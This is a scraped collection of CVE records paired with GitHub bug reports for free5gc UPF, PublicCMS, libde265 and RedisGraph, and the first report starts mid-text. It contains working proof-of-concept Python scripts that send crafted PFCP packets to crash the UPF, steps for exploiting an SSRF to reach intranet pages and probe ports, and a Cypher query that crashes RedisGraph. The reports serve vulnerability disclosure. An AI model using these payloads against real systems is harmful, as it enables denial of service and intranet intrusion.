Steps to reproduce the behavior:
1. Build the UPF with source code
2. Run the bin/upf with default config/upfcfg.yaml
3. Run the following POC python script
```python
#!/usr/bin/env python3
import socket
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_socket.settimeout(1.0)
pfcp_association_setup_request = b'\x20\x05\x00\x1f\x00\x00\x01\x00\x00\x3c\x00\x05\x00\x0a\x64\xc8\x64\x00\x60\x00\x04\xe8\x1f\xdc\x30\x00\x2b\x00\x06\x21\x00\x00\x00\x00\x00'
"""
PFCP Heartbeat Request with a Recovery Time Stamp IE whose length is mutated to zero
"""
pfcp_heartbeat_request = b'\x20\x01\x00\x0c\x00\x00\x02\x00\x00\x60\x00\x00\xe8\x1f\xe7\xb4'
udp_socket.sendto(pfcp_association_setup_request, ('127.0.0.8', 8805))
try:
udp_socket.recv(65535)
except Exception as exception:
print(f"Receive failed: {exception}")
udp_socket.sendto(pfcp_heartbeat_request, ('127.0.0.8', 8805))
try:
udp_socket.recv(65535)
except Exception as exception:
print(f"Receive failed: {exception}")
udp_socket.close()
```
## Expected behavior
Any people could leverage this to cause DOS and resource consumption against a pool of UPF. As much as possible, check the IE length of PFCP messages, update handling logic or just drop them to avoid frequent crashes. This will greatly improve the availability, stability, and security of free5gc UPF.
## Screenshots
No special screenshot is provided.
## Environment (please complete the following information):
- free5GC Version: v3.3.0
- OS: Ubuntu 20.04
- Kernel version: 5.4.5-050405-generic
- go version: go1.21.1 linux/amd64
## Trace File
### Configuration File
No specific configuration is required.
### PCAP File
No specific pcap file is provided.
### Log File
```bash
time="2023-09-22T03:24:35.891194467+08:00" level="info" msg="UPF version: \n\tNot specify ldflags (which link version) during go build\n\tgo version: go1.21.1 linux/amd64" CAT="Main" NF="UPF"
time="2023-09-22T03:24:35.904235696+08:00" level="info" msg="Read config from [upfcfg.yaml]" CAT="CFG" NF="UPF"
time="2023-09-22T03:24:35.904663072+08:00" level="info" msg="==================================================" CAT="CFG" NF="UPF"
time="2023-09-22T03:24:35.904772210+08:00" level="info" msg="(*factory.Config)(0xc0000147d0)({\n\tVersion: (string) (len=5) \"1.0.3\",\n\tDescription: (string) (len=31) \"UPF initial local configuration\",\n\tPfcp: (*factory.Pfcp)(0xc00006f170)({\n\t\tAddr: (string) (len=9) \"127.0.0.8\",\n\t\tNodeID: (string) (len=9) \"127.0.0.8\",\n\t\tRetransTimeout: (time.Duration) 1s,\n\t\tMaxRetrans: (uint8) 3\n\t}),\n\tGtpu: (*factory.Gtpu)(0xc00006f320)({\n\t\tForwarder: (string) (len=5) \"gtp5g\",\n\t\tIfList: ([]factory.IfInfo) (len=1 cap=1) {\n\t\t\t(factory.IfInfo) {\n\t\t\t\tAddr: (string) (len=9) \"127.0.0.8\",\n\t\t\t\tType: (string) (len=2) \"N3\",\n\t\t\t\tName: (string) \"\",\n\t\t\t\tIfName: (string) \"\",\n\t\t\t\tMTU: (uint32) 0\n\t\t\t}\n\t\t}\n\t}),\n\tDnnList: ([]factory.DnnList) (len=1 cap=1) {\n\t\t(factory.DnnList) {\n\t\t\tDnn: (string) (len=8) \"internet\",\n\t\t\tCidr: (string) (len=12) \"10.60.0.0/24\",\n\t\t\tNatIfName: (string) \"\"\n\t\t}\n\t},\n\tLogger: (*factory.Logger)(0xc000022e40)({\n\t\tEnable: (bool) true,\n\t\tLevel: (string) (len=4) \"info\",\n\t\tReportCaller: (bool) false\n\t})\n})\n" CAT="CFG" NF="UPF"
time="2023-09-22T03:24:35.905047979+08:00" level="info" msg="==================================================" CAT="CFG" NF="UPF"
time="2023-09-22T03:24:35.905060906+08:00" level="info" msg="Log level is set to [info]" CAT="Main" NF="UPF"
time="2023-09-22T03:24:35.905071569+08:00" level="info" msg="Report Caller is set to [false]" CAT="Main" NF="UPF"
time="2023-09-22T03:24:35.905097803+08:00" level="info" msg="starting Gtpu Forwarder [gtp5g]" CAT="Main" NF="UPF"
time="2023-09-22T03:24:35.905106855+08:00" level="info" msg="GTP Address: \"127.0.0.8:2152\"" CAT="Main" NF="UPF"
time="2023-09-22T03:24:35.955858915+08:00" level="info" msg="buff netlink server started" CAT="BUFF" NF="UPF"
time="2023-09-22T03:24:35.956003408+08:00" level="info" msg="perio server started" CAT="Perio" NF="UPF"
time="2023-09-22T03:24:35.956021132+08:00" level="info" msg="Forwarder started" CAT="Gtp5g" NF="UPF"
time="2023-09-22T03:24:35.965098244+08:00" level="info" msg="starting pfcp server" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF"
time="2023-09-22T03:24:35.965152469+08:00" level="info" msg="pfcp server started" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF"
time="2023-09-22T03:24:35.965258101+08:00" level="info" msg="UPF started" CAT="Main" NF="UPF"
time="2023-09-22T03:24:52.058728637+08:00" level="info" msg="handleAssociationSetupRequest" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF"
time="2023-09-22T03:24:52.058889668+08:00" level="info" msg="New node" CAT="PFCP" CPNodeID="10.100.200.100" LAddr="127.0.0.8:8805" NF="UPF"
time="2023-09-22T03:24:52.058307700+08:00" level="fatal" msg="panic: runtime error: slice bounds out of range [6:4]\ngoroutine 6 [running]:\nruntime/debug.Stack()\n\t/snap/go/10339/src/runtime/debug/stack.go:24 +0x5e\ngithub.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main.func1()\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:86 +0x4a\npanic({0x84f480?, 0xc0001c4318?})\n\t/snap/go/10339/src/runtime/panic.go:914 +0x21f\ngithub.com/wmnsk/go-pfcp/ie.ParseMultiIEs({0xc00028f578?, 0xc00028f570?, 0x7f0972c4e640?})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/ie/ie.go:637 +0x185\ngithub.com/wmnsk/go-pfcp/message.(*HeartbeatRequest).UnmarshalBinary(0xc0002935c0, {0xc00028f570, 0x10, 0x10})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/message/heartbeat-request.go:101 +0xb3\ngithub.com/wmnsk/go-pfcp/message.Parse({0xc00028f570, 0x10, 0x10})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/message/message.go:117 +0x325\ngithub.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main(0xc0005ba0d0, 0xc00007a9d0)\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:125 +0x48b\ncreated by github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).Start in goroutine 1\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:222 +0xb8\n" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF"
```
| [Bugs] UPF crash caused by malformed PFCP messages whose 1st IE length is mutated to zero | https://api.github.com/repos/free5gc/free5gc/issues/483/comments | 4 | 2023-09-22T03:19:07Z | 2023-11-26T13:11:19Z | https://github.com/free5gc/free5gc/issues/483 | 1,908,115,920 | 483 | 5,750 |
CVE-2023-47347 | 2023-11-15T22:15:27.930 | Buffer Overflow vulnerability in free5gc 3.3.0 allows attackers to cause a denial of service via crafted PFCP messages whose Sequence Number is mutated to overflow bytes. | {
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
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"Exploit",
"Issue Tracking"
] | github.com | [
"free5gc",
"free5gc"
] | [Bugs] UPF crash caused by malformed PFCP message whose Sequence Number is mutated to overflow bytes
## Describe the bug
While fuzzing the free5gc UPF for some PFCP basic and security features, I could trigger several crashes when send malformed PFCP Heartbeat Request whose Sequence Number is mutated to overflow bytes (e.g. 0xFF 0xFF 0xFF 0xFF). This could cause DOS of any UPF instance, all memory issues due to this kind of PFCP messages are caught by the GO memory runtime, which would casue a panic and crash.
## To Reproduce
Steps to reproduce the behavior:
1. Build the UPF with source code
2. Run the bin/upf with default config/upfcfg.yaml
3. Run the following POC python script
```python
#!/usr/bin/env python3
import socket
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_socket.settimeout(1.0)
pfcp_association_setup_request = b'\x20\x05\x00\x1f\x00\x00\x01\x00\x00\x3c\x00\x05\x00\x0a\x64\xc8\x64\x00\x60\x00\x04\xe8\x1f\xdc\x30\x00\x2b\x00\x06\x21\x00\x00\x00\x00\x00'
pfcp_heartbeat_request = b'\x20\x01\x00\x0f\x00\x00\x00\xff\xff\xff\x00\x00\x60\x00\x04\xe8\x1f\xdc\x30'
udp_socket.sendto(pfcp_association_setup_request, ('127.0.0.8', 8805))
try:
udp_socket.recv(65535)
except Exception as exception:
print(f"Receive failed: {exception}")
udp_socket.sendto(pfcp_heartbeat_request, ('127.0.0.8', 8805))
try:
udp_socket.recv(65535)
except Exception as exception:
print(f"Receive failed: {exception}")
udp_socket.close()
```
## Expected behavior
Any people could leverage this to cause DOS and resource consumption against a pool of UPF. As much as possible, check the total length of PFCP messages, update handling logic or just drop them to avoid frequent crashes. This will greatly improve the availability, stability, and security of free5gc UPF.
## Screenshots
No special screenshot is provided.
## Environment (please complete the following information):
- free5GC Version: v3.3.0
- OS: Ubuntu 20.04
- Kernel version: 5.4.5-050405-generic
- go version: go1.21.1 linux/amd64
## Trace File
### Configuration File
No specific configuration is required.
### PCAP File
No specific pcap file is provided.
### Log File
```bash
2023-10-24T17:49:15.614745280+08:00 [INFO][UPF][CFG] ==================================================
2023-10-24T17:49:15.614761831+08:00 [INFO][UPF][Main] Log level is set to [info]
2023-10-24T17:49:15.614777264+08:00 [INFO][UPF][Main] Report Caller is set to [false]
2023-10-24T17:49:15.614837834+08:00 [INFO][UPF][Main] starting Gtpu Forwarder [gtp5g]
2023-10-24T17:49:15.614864772+08:00 [INFO][UPF][Main] GTP Address: "127.0.0.8:2152"
2023-10-24T17:49:15.650332227+08:00 [INFO][UPF][BUFF] buff netlink server started
2023-10-24T17:49:15.650439249+08:00 [INFO][UPF][Perio] perio server started
2023-10-24T17:49:15.650444691+08:00 [INFO][UPF][Gtp5g] Forwarder started
2023-10-24T17:49:15.652112097+08:00 [INFO][UPF][PFCP][LAddr:127.0.0.8:8805] starting pfcp server
2023-10-24T17:49:15.652132290+08:00 [INFO][UPF][PFCP][LAddr:127.0.0.8:8805] pfcp server started
2023-10-24T17:49:15.652138607+08:00 [INFO][UPF][Main] UPF started
2023-10-24T17:50:42.343823681+08:00 [INFO][UPF][PFCP][LAddr:127.0.0.8:8805] handleAssociationSetupRequest
2023-10-24T17:50:42.343962121+08:00 [INFO][UPF][PFCP][LAddr:127.0.0.8:8805][CPNodeID:10.100.200.100] New node
2023-10-24T17:50:42.347048969+08:00 [FATA][UPF][PFCP][LAddr:127.0.0.8:8805] panic: runtime error: slice bounds out of range [6:4]
goroutine 10 [running]:
runtime/debug.Stack()
/usr/local/go/src/runtime/debug/stack.go:24 +0x65
github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main.func1()
/home/lee/Downloads/free5gc/free5gc/NFs/upf/internal/pfcp/pfcp.go:86 +0x5d
panic({0x860400, 0xc000490210})
/usr/local/go/src/runtime/panic.go:1038 +0x215
github.com/wmnsk/go-pfcp/ie.(*IE).UnmarshalBinary(0x10000c0000cbb30, {0xc000490200, 0x20, 0x30})
/home/lee/gowork/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/ie/ie.go:371 +0x1a5
github.com/wmnsk/go-pfcp/ie.Parse({0xc000490200, 0xb, 0xb})
/home/lee/gowork/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/ie/ie.go:339 +0x48
github.com/wmnsk/go-pfcp/ie.ParseMultiIEs({0xc000490200, 0x13, 0x13})
/home/lee/gowork/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/ie/ie.go:632 +0x8c
github.com/wmnsk/go-pfcp/message.(*HeartbeatRequest).UnmarshalBinary(0xc000096720, {0xc0004901f8, 0x0, 0xadaa82a41536e5d2})
/home/lee/gowork/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/message/heartbeat-request.go:101 +0x6e
github.com/wmnsk/go-pfcp/message.Parse({0xc0004901f8, 0x13, 0x13})
/home/lee/gowork/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/message/message.go:117 +0x3ab
github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main(0xc000400a90, 0xc0004030d0)
/home/lee/Downloads/free5gc/free5gc/NFs/upf/internal/pfcp/pfcp.go:125 +0x4ce
created by github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).Start
/home/lee/Downloads/free5gc/free5gc/NFs/upf/internal/pfcp/pfcp.go:222 +0xd2
```
| [Bugs] UPF crash caused by malformed PFCP messages whose Sequence Number is mutated to overflow bytes | https://api.github.com/repos/free5gc/free5gc/issues/496/comments | 1 | 2023-10-24T11:07:44Z | 2023-11-26T13:36:56Z | https://github.com/free5gc/free5gc/issues/496 | 1,959,013,436 | 496 | 5,751 |
CVE-2023-48204 | 2023-11-16T00:15:06.770 | An issue in PublicCMS v.4.0.202302.e allows a remote attacker to obtain sensitive information via the appToken and Parameters parameter of the api/method/getHtml component. | {
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] | 918 | https://github.com/sanluan/PublicCMS/issues/77 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"sanluan",
"PublicCMS"
] | 1.After logging into the backend system，add an application authorization to obtain an appKey and appSecret
2.Obtain apptoken through the /api/appToken interface with appkey and appsecret
3.The SSRF vulnerability exists in the "parameters" parameter of the /api/method/getHtml interface, which can be used to access the website of intranet,for example,access 127.0.0.1:8080/admin and return the page content.
4.In addition, it can also be used to detect open ports on the intranet system.
When the port is open, the response time is only a few milliseconds, but when the port is not open, the response time is about 2000 milliseconds.This obvious response time difference can be used to determine whether the port is open.
5.The vulnerability entrance is in `MethodController.java`. It receives an "appToken" and "parameters" parameter, assigns the "parameters" parameters to the list, and then calls `method.execute(request, list)`, the "method" is the method specified by {name}
6.When {name} is "getHtml", enter the` execute(@SuppressWarnings("unused") HttpServletRequest request, List<TemplateModel> arguments) `method of `BaseMethod.java`
7.Then enter the `execute(List<TemplateModel> arguments)` method of `GetHtmlMethod.java`, take the values from the incoming parameters and assign them to the "url" and "body", and then determine whether the "body" is empty. If not, send a post request to the "url". If it is empty, send a get request to the "url".
8.After sending the request, the returned content is directly returned to the client. During this period, no detection is made on whether the "paramaters" parameter is illegal, and there is no detection of ssrf-related interceptors, so ssrf can be directly performed and obtained through the server request. Any URL address can be used to access some sensitive resources on the intranet or detect the port of the intranet system.
| There is an SSRF vulnerability in publiccms V4.0.202302.e, whice allow attackers to access the website of intranet or detect whether the port is open | https://api.github.com/repos/sanluan/PublicCMS/issues/77/comments | 1 | 2023-11-12T07:38:06Z | 2023-12-15T07:40:41Z | https://github.com/sanluan/PublicCMS/issues/77 | 1,989,279,808 | 77 | 5,752 |
CVE-2023-47471 | 2023-11-16T04:15:06.857 | Buffer Overflow vulnerability in strukturag libde265 v1.10.12 allows a local attacker to cause a denial of service via the slice_segment_header function in the slice.cc component. | {
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] | github.com | [
"strukturag",
"libde265"
] | # SEGV in libde265
### Description
Libde265 v1.0.12 was discovered to contain a SEGV via the function slice_segment_header::dump_slice_segment_header at slice.cc.
### Version
```shell
libde265/dec265 v1.0.12
```
### ASAN Log
./dec265/dec265 -c -d -f 153 poc1libde265
```shell
AddressSanitizer:DEADLYSIGNAL
=================================================================
==38==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000551716 bp 0x7ffff7ad66a0 sp 0x7fffffff3de0 T0)
==38==The signal is caused by a READ memory access.
==38==Hint: address points to the zero page.
#0 0x551716 in slice_segment_header::dump_slice_segment_header(decoder_context const*, int) const /afltest/libde265/libde265/slice.cc:1281:3
#1 0x4db1b1 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) /afltest/libde265/libde265/decctx.cc:646:11
#2 0x4e5626 in decoder_context::decode_NAL(NAL_unit*) /afltest/libde265/libde265/decctx.cc:1241:11
#3 0x4e6247 in decoder_context::decode(int*) /afltest/libde265/libde265/decctx.cc:1329:16
#4 0x4cd5c4 in main /afltest/libde265/dec265/dec265.cc:784:17
#5 0x7ffff790d082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#6 0x41e66d in _start (/afltest/libde265/dec265/dec265+0x41e66d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /afltest/libde265/libde265/slice.cc:1281:3 in slice_segment_header::dump_slice_segment_header(decoder_context const*, int) const
==38==ABORTING
```
### Reproduction
```shell
./autogen.sh
export CFLAGS="-g -lpthread -fsanitize=address"
export CXXFLAGS="-g -lpthread -fsanitize=address"
CC=clang CXX=clang++ ./configure --disable-shared
make -j 32
./dec265/dec265 -c -d -f 153 poc1libde265
```
### PoC
poc1libde265: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc1libde265
### Reference
https://github.com/strukturag/libde265
### Environment
```
ubuntu:20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)
clang version 10.0.0-4ubuntu1
afl-cc++4.09
```
### Credit
Zeng Yunxiang
Song Jiaxuan | SEGV in libde265 in slice_segment_header::dump_slice_segment_header | https://api.github.com/repos/strukturag/libde265/issues/426/comments | 1 | 2023-11-03T17:48:11Z | 2023-11-07T07:21:53Z | https://github.com/strukturag/libde265/issues/426 | 1,976,666,798 | 426 | 5,753 |
CVE-2023-47003 | 2023-11-16T05:15:29.927 | An issue in RedisGraph v.2.12.10 allows an attacker to execute arbitrary code and cause a denial of service via a crafted string in DataBlock_ItemIsDeleted. | {
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] | github.com | [
"RedisGraph",
"RedisGraph"
] | When running the following query:
```cypher
CREATE (x) CREATE ()-[:A{n1:size([n2 IN [n3 IN [0] | x.n4] | 0])}]->()-[y:B]->() DELETE y
```
The RedisGraph instance crashes due to a null-pointer dereference.
I encountered this issue when testing queries against **RedisGraph v2.12.0** compiled with address sanitization in a Docker container running **alpine v.3**.
<details>
<summary>Redis Bug Report</summary>
```
=== REDIS BUG REPORT START: Cut & paste starting from here ===
10:M 24 Apr 2023 18:54:43.433 # Redis 7.0.11 crashed by signal: 11, si_code: 128
10:M 24 Apr 2023 18:54:43.433 # Accessing address: (nil)
10:M 24 Apr 2023 18:54:43.433 # Crashed running the instruction at: 0x7f283d48aef5
------ STACK TRACE ------
EIP:
/app/bin/linux-x64-debug-asan/src/redisgraph.so(DataBlock_ItemIsDeleted+0x25)[0x7f283d48aef5]
Backtrace:
redis-server *:6379(sigsegvHandler+0x8a)[0x56216429294a]
/lib/x86_64-linux-gnu/libpthread.so.0(+0x13140)[0x7f28452a2140]
/app/bin/linux-x64-debug-asan/src/redisgraph.so(DataBlock_ItemIsDeleted+0x25)[0x7f283d48aef5]
/app/bin/linux-x64-debug-asan/src/redisgraph.so(Graph_EntityIsDeleted+0x40)[0x7f283d3a9000]
/app/bin/linux-x64-debug-asan/src/redisgraph.so(+0x6a02ee)[0x7f283d3212ee]
/app/bin/linux-x64-debug-asan/src/redisgraph.so(+0x69f5d0)[0x7f283d3205d0]
/app/bin/linux-x64-debug-asan/src/redisgraph.so(OpBase_Free+0x7d)[0x7f283d307f5d]
/app/bin/linux-x64-debug-asan/src/redisgraph.so(+0x671bd7)[0x7f283d2f2bd7]
/app/bin/linux-x64-debug-asan/src/redisgraph.so(ExecutionPlan_Free+0x4d)[0x7f283d2f2a2d]
/app/bin/linux-x64-debug-asan/src/redisgraph.so(+0x6407d4)[0x7f283d2c17d4]
/app/bin/linux-x64-debug-asan/src/redisgraph.so(+0x831d8a)[0x7f283d4b2d8a]
/lib/x86_64-linux-gnu/libpthread.so.0(+0x7ea7)[0x7f2845296ea7]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x3f)[0x7f28451b4a2f]
------ REGISTERS ------
10:M 24 Apr 2023 18:54:43.436 #
RAX:ffffffffffffffff RBX:00007f28371a44c0
RCX:1fffffffffffffff RDX:0000000000000000
RDI:0000000000000000 RSI:00007f28371a3520
RBP:00007f28371a3e40 RSP:00007f28371a3e20
R8 :0000000000000001 R9 :000000000000000a
R10:000000000000001e R11:00007f28369a7000
R12:00007ffc3cf1c2ce R13:00007ffc3cf1c2cf
R14:00007f28371a46c0 R15:0000000000802000
RIP:00007f283d48aef5 EFL:0000000000010a07
CSGSFS:002b000000000033
10:M 24 Apr 2023 18:54:43.436 # (00007f28371a3e2f) -> 00007f2831828178
10:M 24 Apr 2023 18:54:43.436 # (00007f28371a3e2e) -> 00007f2831828180
10:M 24 Apr 2023 18:54:43.436 # (00007f28371a3e2d) -> 00007f2831828180
10:M 24 Apr 2023 18:54:43.436 # (00007f28371a3e2c) -> 00007f2831828180
10:M 24 Apr 2023 18:54:43.436 # (00007f28371a3e2b) -> 00007f2831828180
10:M 24 Apr 2023 18:54:43.436 # (00007f28371a3e2a) -> 00007f2831828180
10:M 24 Apr 2023 18:54:43.436 # (00007f28371a3e29) -> 00007f283d3212ee
10:M 24 Apr 2023 18:54:43.436 # (00007f28371a3e28) -> 00007f28371a3fd0
10:M 24 Apr 2023 18:54:43.436 # (00007f28371a3e27) -> 00007f2831834a0c
10:M 24 Apr 2023 18:54:43.436 # (00007f28371a3e26) -> 00007f2831834a0c
10:M 24 Apr 2023 18:54:43.436 # (00007f28371a3e25) -> 00007f283d3a9000
10:M 24 Apr 2023 18:54:43.436 # (00007f28371a3e24) -> 00007f28371a3e60
10:M 24 Apr 2023 18:54:43.436 # (00007f28371a3e23) -> 0000000000000000
10:M 24 Apr 2023 18:54:43.436 # (00007f28371a3e22) -> ffffffffffffffff
10:M 24 Apr 2023 18:54:43.436 # (00007f28371a3e21) -> 834cfcd8e8894900
10:M 24 Apr 2023 18:54:43.436 # (00007f28371a3e20) -> 00007f28371a3d70
------ INFO OUTPUT ------
# Server
redis_version:7.0.11
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:5c712dc4cb9cfb70
redis_mode:standalone
os:Linux 6.2.10-arch1-1 x86_64
arch_bits:64
monotonic_clock:POSIX clock_gettime
multiplexing_api:epoll
atomicvar_api:c11-builtin
gcc_version:10.2.1
process_id:10
process_supervised:no
run_id:567d37ab65b9a1eff8459ee690db4f259efbed00
tcp_port:6379
server_time_usec:1682362483432067
uptime_in_seconds:7
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:4640883
executable:/redis/redis-server
config_file:
io_threads_active:0
# Clients
connected_clients:1
cluster_connections:0
maxclients:10000
client_recent_max_input_buffer:0
client_recent_max_output_buffer:0
blocked_clients:1
tracking_clients:0
clients_in_timeout_table:0
# Memory
used_memory:1497320
used_memory_human:1.43M
used_memory_rss:42692608
used_memory_rss_human:40.71M
used_memory_peak:1497320
used_memory_peak_human:1.43M
used_memory_peak_perc:110.76%
used_memory_overhead:929048
used_memory_startup:928792
used_memory_dataset:568272
used_memory_dataset_perc:99.95%
allocator_allocated:1223920
allocator_active:1409024
allocator_resident:4825088
total_system_memory:8039120896
total_system_memory_human:7.49G
used_memory_lua:31744
used_memory_vm_eval:31744
used_memory_lua_human:31.00K
used_memory_scripts_eval:0
number_of_cached_scripts:0
number_of_functions:0
number_of_libraries:0
used_memory_vm_functions:32768
used_memory_vm_total:64512
used_memory_vm_total_human:63.00K
used_memory_functions:184
used_memory_scripts:184
used_memory_scripts_human:184B
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
allocator_frag_ratio:1.15
allocator_frag_bytes:185104
allocator_rss_ratio:3.42
allocator_rss_bytes:3416064
rss_overhead_ratio:8.85
rss_overhead_bytes:37867520
mem_fragmentation_ratio:45.96
mem_fragmentation_bytes:41763672
mem_not_counted_for_evict:0
mem_replication_backlog:0
mem_total_replication_buffers:0
mem_clients_slaves:0
mem_clients_normal:0
mem_cluster_links:0
mem_aof_buffer:0
mem_allocator:jemalloc-5.2.1
active_defrag_running:0
lazyfree_pending_objects:0
lazyfreed_objects:0
# Persistence
loading:0
async_loading:0
current_cow_peak:0
current_cow_size:0
current_cow_size_age:0
current_fork_perc:0.00
current_save_keys_processed:0
current_save_keys_total:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1682362476
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
rdb_saves:0
rdb_last_cow_size:0
rdb_last_load_keys_expired:0
rdb_last_load_keys_loaded:0
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_rewrites:0
aof_rewrites_consecutive_failures:0
aof_last_write_status:ok
aof_last_cow_size:0
module_fork_in_progress:0
module_fork_last_cow_size:0
# Stats
total_connections_received:1
total_commands_processed:2
instantaneous_ops_per_sec:0
total_net_input_bytes:246
total_net_output_bytes:93
total_net_repl_input_bytes:0
total_net_repl_output_bytes:0
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
instantaneous_input_repl_kbps:0.00
instantaneous_output_repl_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
expire_cycle_cpu_milliseconds:0
evicted_keys:0
evicted_clients:0
total_eviction_exceeded_time:0
current_eviction_exceeded_time:0
keyspace_hits:3
keyspace_misses:1
pubsub_channels:0
pubsub_patterns:0
pubsubshard_channels:0
latest_fork_usec:0
total_forks:0
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0
total_active_defrag_time:0
current_active_defrag_time:0
tracking_total_keys:0
tracking_total_items:0
tracking_total_prefixes:0
unexpected_error_replies:0
total_error_replies:0
dump_payload_sanitizations:0
total_reads_processed:2
total_writes_processed:1
io_threaded_reads_processed:0
io_threaded_writes_processed:0
reply_buffer_shrinks:0
reply_buffer_expands:0
# Replication
role:master
connected_slaves:0
master_failover_state:no-failover
master_replid:545e76b89a7a511fa91ced8a5dfd8c5b7429f8ee
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
# CPU
used_cpu_sys:0.015967
used_cpu_user:0.031885
used_cpu_sys_children:0.000000
used_cpu_user_children:0.000000
used_cpu_sys_main_thread:0.000000
used_cpu_user_main_thread:0.002797
# Modules
module:name=graph,ver=21200,api=1,filters=0,usedby=[],using=[],options=[]
# Commandstats
cmdstat_graph.QUERY:calls=2,usec=1751,usec_per_call=875.50,rejected_calls=0,failed_calls=0
# Errorstats
# Latencystats
latency_percentiles_usec_graph.QUERY:p50=1630.207,p99=1630.207,p99.9=1630.207
# Cluster
cluster_enabled:0
# Keyspace
db0:keys=1,expires=0,avg_ttl=0
------ CLIENT LIST OUTPUT ------
id=6 addr=172.17.0.1:49156 laddr=172.17.0.2:6379 fd=8 name= age=0 idle=0 flags=b db=0 sub=0 psub=0 ssub=0 multi=-1 qbuf=0 qbuf-free=20474 argv-mem=140 multi-mem=0 rbs=16384 rbp=16384 obl=0 oll=0 omem=0 tot-mem=37804 events=r cmd=graph.QUERY user=default redir=-1 resp=2
------ MODULES INFO OUTPUT ------
# graph_executing commands
graph_command:GRAPH.QUERY CYPHER TIMEOUT_DEFAULT="30000" CREATE (x) CREATE ()-[:A{n1:size([n2 IN [n3 IN [0] | x.n4] | 0])}]->()-[y:B]->() DELETE y
------ CONFIG DEBUG OUTPUT ------
io-threads-do-reads no
repl-diskless-sync yes
lazyfree-lazy-expire no
lazyfree-lazy-user-del no
client-query-buffer-limit 1gb
activedefrag no
proto-max-bulk-len 512mb
lazyfree-lazy-eviction no
io-threads 1
sanitize-dump-payload no
lazyfree-lazy-server-del no
repl-diskless-load disabled
replica-read-only yes
slave-read-only yes
list-compress-depth 0
lazyfree-lazy-user-flush no
------ FAST MEMORY TEST ------
10:M 24 Apr 2023 18:54:43.437 # main thread terminated
10:M 24 Apr 2023 18:54:43.437 # Bio thread for job type #0 terminated
10:M 24 Apr 2023 18:54:43.437 # Bio thread for job type #1 terminated
10:M 24 Apr 2023 18:54:43.437 # Bio thread for job type #2 terminated
Fast memory test PASSED, however your memory can still be broken. Please run a memory test for several hours if possible.
------ DUMPING CODE AROUND EIP ------
Symbol: DataBlock_ItemIsDeleted (base: 0x7f283d48aed0)
Module: /app/bin/linux-x64-debug-asan/src/redisgraph.so (base 0x7f283cc81000)
$ xxd -r -p /tmp/dump.hex /tmp/dump.bin
$ objdump --adjust-vma=0x7f283d48aed0 -D -b binary -m i386:x86-64 /tmp/dump.bin
------
10:M 24 Apr 2023 18:54:43.437 # dump of function (hexdump of 165 bytes):
554889e54883ec2048897df8488b45f84805ffffffff488945f0488b45f04889c148c1e9038a910080ff7f80fa00488945e88855e70f8423000000488b45e84825070000008a4de738c80f8c09000000488b7de8e87794d5ffe900000000488b45e88a0880e1010fb6d183e20183fa000f95c180e1010fb6d189d04883c4205dc3662e0f1f8400000000000f1f440000554889e54883ec3048897df8488975f0488b7df848
=== REDIS BUG REPORT END. Make sure to include from START to END. ===
```
</details>
### Steps to reproduce
Run the following query and observe the database crashes:
```cypher
